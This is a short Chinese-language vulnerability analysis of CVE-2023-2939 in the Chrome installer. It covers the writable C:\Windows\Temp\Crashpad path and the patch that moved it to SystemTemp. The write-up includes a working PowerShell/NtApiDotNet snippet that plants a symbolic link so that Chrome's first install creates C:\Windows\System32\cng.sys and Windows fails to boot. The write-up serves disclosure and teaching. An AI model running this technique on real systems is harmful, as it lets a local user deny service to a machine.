CVE-2023-2939 Insufficient Data Validation in Chrome Installer

CVE-2023-2939 Chrome Installer 本地提权(DoS)漏洞简单分析。

0x01. 漏洞分析

默认情况下,路径 C:\Windows\Temp 对本地用户是可写的,而 Chrome 的 CrashPad 数据默认保存在 C:\Windows\Temp\Crashpad

1
2
3
4
5
6
7
C:\>icacls C:\Windows\Temp
C:\Windows\Temp BUILTIN\Users:(CI)(S,WD,AD,X)
BUILTIN\Administrators:(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
CREATOR OWNER:(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

那么,在 Chrome 首次安装的时候,如果 C:\Windows\Temp\Crashpad 是一个符号链接,就可以实现越权写文件,但是文件路径和文件内容都是不可控的。

但是,创建符号链接时,默认需要对目标路径有写权限,如果直接调用 mklink,那么可能会提示权限不足。

You do not have sufficient privilege to perform this operation.

借助 James Forshaw 的 NtApiDotNet,在不需要拥有目标路径写权限的情况下,可以直接创建符号链接。

1
2
3
4
5
Import-Module ".\NtApiDotNet.dll" -ErrorAction Stop
$tmpDir = "C:\Windows\Temp\Crashpad"
$outDllPath = "C:\Windows\System32\cng.sys"
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$tmpDir", "\RPC Control", $null)
$out = [NtApiDotNet.NtSymbolicLink]::Create("\RPC Control\reports", "\??\$outDllPath")

一旦 Chrome 尝试创建 C:\Windows\Temp\Crashpad\reports,那么实际上会创建 C:\Windows\System32\cng.sys。路径本身也是一个文件夹,参考 ZDI 分享的 From Arbitrary Folder Create to Permanent DoS,一旦这个路径存在,重启 Windows 之后将实现 DoS 攻击效果。

0x02. 漏洞修复

不在使用 %systemroot%\Temp,而是使用 %systemroot%\SystemTemp 或者 %programfiles%

Fix Chrome Crashpad arbitrary file create

This CL uses a path %systemroot%\SystemTemp, if available, else uses a path under %programfiles% for the Crashpad directory.

Both paths are only accessible to admin and system processes, and are therefore secure.

C:\Windows\SystemTemp 普通用户没有写权限。

1
2
3
4
5
C:\>icacls C:\Windows\SystemTemp
C:\Windows\SystemTemp NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

0x03. Takeaway

Windows 本地提权漏洞简单入门:

  • 普通用户可写 C:\Windows\Temp
  • 借助 NtApiDotNet 创建符号链接
  • 利用任意路径文件夹创建实现 DoS 攻击
    • 注意,在最新的 Windows Insider Preview 上,创建 C:\Windows\System32\cng.sys 并不会影响 Windows 的正常启动

0x04. 参考文档

  1. https://issues.chromium.org/issues/40063745
  2. https://www.nuget.org/packages/NtApiDotNet
  3. https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks
  4. https://chromium.googlesource.com/chromium/src/+/455aa4e670edcdd734dc68f452b39af15303a371